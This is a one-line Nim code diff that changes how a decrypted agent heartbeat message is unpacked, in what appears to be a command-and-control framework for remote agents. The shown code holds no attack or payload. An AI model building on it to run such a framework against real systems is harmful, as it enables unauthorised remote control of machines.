||||
|
||||
@@ -133,7 +133,7 @@ proc deserializeHeartbeat*(cq: Conquest, data: seq[byte]): Heartbeat =
|
||||
let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = initUnpacker(decData.toString)
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
return Heartbeat(
|
||||
header: header,
|
||||
|
||||
Reference in New Issue
Block a user